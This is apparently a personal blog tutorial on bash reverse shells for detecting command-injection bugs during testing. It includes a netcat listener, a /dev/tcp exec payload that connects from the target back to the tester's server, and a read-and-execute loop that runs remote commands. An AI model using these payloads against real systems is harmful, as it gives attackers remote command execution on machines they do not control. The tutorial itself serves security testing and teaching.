Reverse Shells in Bash for Dummies by a Dummy

As far as testing goes, finding a bug that lets me run arbitrary commands on a remote machine is easily one of my favourite things, thankfully because it's pretty rare in the products I work with. However, sometimes it's not always easy or convenient to know when you encounter these things, especially when it's not within my testing environment so I can't just SSH into the machine and check whether touch test.txt actually produced a test.txt file.

Sending commands that establish a reverse shell, however, allows me to use that payload in a battery of automated tests, and I can just check my server to see if any connections succeeded. If you're not familiar with the concept, a bind shell is when you connect to a target machine, for example ssh incognitjoe@joedev uses SSH to open a shell on the joedev machine. A reverse shell is when the connection is established from the target out to a server that can then send commands to and read output from the target. Note this post isn't intended to cover bypassing the myriad of defenses that can be employed to prevent such things - it's a super simple example of how to open a communication channel from a Linux target back to your server machine. If you're looking for ways to defeat firewall rules and so on, this isn't the blog post for you, I'm afraid.

With all that said, let's get started. Let's assume joedev is our server machine, and we're testing a possibly vulnerable application running on http://192.168.1.50 . First, we want to use Netcat to open a listening port, let's say 6666, on joedev:

nc -l -p 6666 -vvv

This spits out some info telling us things are running:

NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::6666
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:6666
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 4 is ready

Now, let's think about how we're going to get the target machine to connect back to our server. While netcat could be used there too, not every machine has it installed by default, and we'll assume our remote level access isn't able to install new software(yet!). We'll instead take advantage of Bash's built-in /dev/tcp file, and a feature of the exec command to open a new file descriptor that'll act as our shell, so our payload to try and execute on the target is:

exec 5<>/dev/tcp/joedev/6666

To explain a little further: calling exec without a command just opens a file in the current shell. Here, we're saying that file descriptor 5 is a TCP session to joedev:6666. Pretty sneaky, and if we check our server's output we see something new:

Ncat: Connection from 192.168.1.50.

Neato. If all we care about is proving that we could open a shell from the target machine(by injecting that exec command somewhere, somehow) then we're done. However, we're not actually doing anything with the shell yet, so we'll run another command on the target to read the contents of the file descriptor we assigned and execute them:

cat <&5 | while read line; do $line 2>&5 >&5; done

Anything the server sends will now be read and executed, and we can start poking around the machine at our leisure. Let's try whoami:

whoami
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 0 is ready
NCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
notarootuser

"notarootuser" is the output from the target machine, so that's who we're running as, neato.

Note this is ridiculously inelegant, and there's definitely better ways to accomplish this. Hopefully the concept is clear though!